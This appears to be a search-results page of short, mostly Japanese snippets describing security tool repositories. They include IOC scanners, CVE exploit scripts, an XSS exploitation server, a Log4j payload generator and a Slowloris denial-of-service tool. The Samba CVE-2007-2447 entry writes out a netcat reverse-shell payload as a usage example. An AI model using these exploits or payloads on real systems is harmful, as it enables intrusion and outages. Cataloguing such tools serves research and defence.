116758 matches found
Invoke-DumpMDEConfig
DumpMDEConfig PowerShell スクリプト 概要 Invoke-DumpMDEConfig は、Microsoft Defender の構成とログを抽出して表示するように設計された PowerShell スクリプトです。除外パス、有効な ASR ルール、許可された脅威、保護履歴、Exploit Guard の保護履歴などを含みます。このスクリプトには、データをテーブル形式または CSV 形式で出力するオプションがあります。 使用方法 To run the script and output the results in list format:...
Fenrir
Fenrir シンプルなBash IOCスキャナー FenrirはシンプルなIOCスキャナーのBashスクリプトです。Linux/Unix/OSXシステムで以下の侵害指標（IOC）をスキャンできます： ハッシュ MD5、SHA1、SHA256（md5sum、sha1sum、sha -a 256を使用） ファイル名 文字列 - フルパスの部分文字列をチェック（例："/var/temp/p.exe" 内の "temp/p.exe"） 文字列 ファイル内をgrep C2サーバー lsof -i および lsof -i -n の出力でC2サーバーの文字列をチェック ホットタイムフレーム...
CVE-2024-30043-XXE
CVE-2024-30043-XXE クレジット 本脆弱性の影響は現時点では限定的ですが、巧妙なバイパスアイデアを提供してくれた https://x.com/chudyPB に感謝します。 https://x.com/chudyPB https://www.zerodayinitiative.com/blog/2024/5/29/cve-2024-30043-abusing-url-parsing-confusion-to-exploit-xxe-on-sharepoint-server-and-cloud...
Network_Assessment
네트워크 평가 Wireshark 또는 TCPdump를 사용하면 모니터링하는 네트워크에서 기록한 네트워크 트래픽에 유해한 활동이 있는지 확인할 수 있습니다. 이 Python 스크립트는 주어진 .pcap 파일의 네트워크 트래픽을 분석하여 다음과 같은 의심스러운 네트워크 활동 및 공격을 탐지하려고 시도합니다: 1. DNS 터널링 2. SSH 터널링 3. TCP 세션 하이재킹 4. SMB 공격 5. SMTP 또는 DNS 공격 6. IPv6 단편화 공격 7. TCP RST 공격 8. SYN 플러드 공격 9. UDP 플러드 공격 10...
toxssin
toxssin Purpose toxssin is an open-source penetration testing tool that automates the process of exploiting Cross-Site Scripting XSS vulnerabilities. It consists of an https server that works as an interpreter for the traffic generated by the malicious JavaScript payload that powers this tool...
CVE-2022-36804
CVE-2022-36804 BitbucketのCVE-2022-36804に関連する脆弱性を悪用するPythonスクリプトがあります。 .,;;. .:lll:. 'clllllc. ,llolllooc' 'loooooooool, .;ooooooooooo;. .:;..;odddddddddo:. 'ldo:. ,llccoddddddc. ,oddddc. .. .:dddddddl' .;dxxxxxxc. .;dxxxxxxo, .:dxxxxxxo' ,dxxxxxxd; .cxxxxxxxl. 'oxxxxxxx:. .okkkkkkxl. 'okkkkkkxc...
CVE-2020-10204
CVE-2020-10204 CVE-2020-10204 リモートコマンド実行スクリプト その他のスクリプトファイルはこちら：https://github.com/zhzyker/exphub Readme +---------------------------------------------------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + + CVE-2020-10204 Nexus...
CVE-2020-10199
CVE-2020-10199 エコーバージョン 適当に書いた未テストのバグ Usage: python http://127.0.0.1:8080 username password 参考：https://www.cnblogs.com/magic-zero/p/12641068.html...
CVE-2021-41773-POC
CVE-2021-41773-nse 作者: George Labrin @creadpag サーバーがApache 2.4.49のCVE-2021-41773に対して脆弱かどうかをチェックします。 POC お気に入りのターミナルを開いて、以下のコマンドを実行してください。 NMAPの使用 1つ目のタブ: mv cve-2021-41773.nse /usr/share/nmap/scripts/ 2つ目のタブ: sudo nmap -Pn --script=cve-2021-41773.nse X.X.X.X -p X...
log4j-payload-generator
log4j-payload-generator log4j-paylaod generator : Apache log4j RCE CVE-2021-44228 向けの汎用ペイロードジェネレーター。 デプロイ このプロジェクトをデプロイするには、次のコマンドを実行します。 sudo git clone https://github.com/yesspider-hacker/log4j-payload-generator.git テストの実行 テストを実行するには、次のコマンドを実行します。 cd log4j-payload-generator/ python3...
CVE-2022-0847-dirty-pipe-checker
CVE-2022-0847-dirty-pipe-checker CVE-2022-0847「Dirty Pipe」をチェックするBashスクリプト https://dirtypipe.cm4all.com/ 使い方 現在のカーネルバージョンを確認する ./dpipe.sh 特定のカーネルバージョンを確認する ./dpipe.sh 5.10.11...
CVE-2021-44228_PoC
CVE-2021-44228 の PoC このPythonスクリプトは、Log4j の TryHackMe ルームに取り組んでいる間に作成しました。このルームのデフォルト変数で作成しましたが、argparseを使用してGETリクエストに対応できるように汎用性を持たせています。必要な変数はすべてオプションで変更可能です。詳細は -h を参照してください。 セットアップ...
CVE-2007-2447-in-Python
CVE-2007-2447 - Python 実装 説明 Samba 3.0.20 IP - リモートマシンの IP。 PORT - オプション SMB が動作しているポート。 PAYLOAD - リモートマシンで実行するペイロード。例: リバースシェル。 例: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' リソース CVE-2007-2447: Remote...
CVE-2019-0708poc
CVE-2019-0708poc 360Vulcan Teamが開発したCVE-2019-0708の単一IP検出ツールを基に、バッチ検出スクリプトを作成しました。 シングルスレッド版しか書いていません。。マルチスレッド化する時間がまだありません。。...
slowloris
slowloris.py - Pythonで書かれたシンプルなSlowloris Slowlorisとは？ Slowlorisは基本的に、スレッド型サーバーに影響を与えるHTTPサービス拒否攻撃です。仕組みは次のとおりです。 1. 大量のHTTPリクエストを開始します。 2. 接続を維持するために、定期的（約15秒ごと）にヘッダーを送信します。 3. サーバーが閉じない限り、接続を閉じません。サーバーが接続を閉じた場合は、新しい接続を作成して同じことを続けます。 これにより、サーバーのスレッドプールが枯渇し、サーバーは他の人に応答できなくなります。 引用...
bad_ducky
Bad Ducky Summary Bad Ducky is yet another Rubber Ducky clone. It is based on CJMCU BadUsb ATMEGA32u4 - Arduino Leonardo clone board with onboard card reader, which you can buy on ebay or aliexpress. My goal was to create something compatible with Rubber Ducky scripts, while having ability to...
sticky_keys_hunter
Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...
sticky_keys_hunter
Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...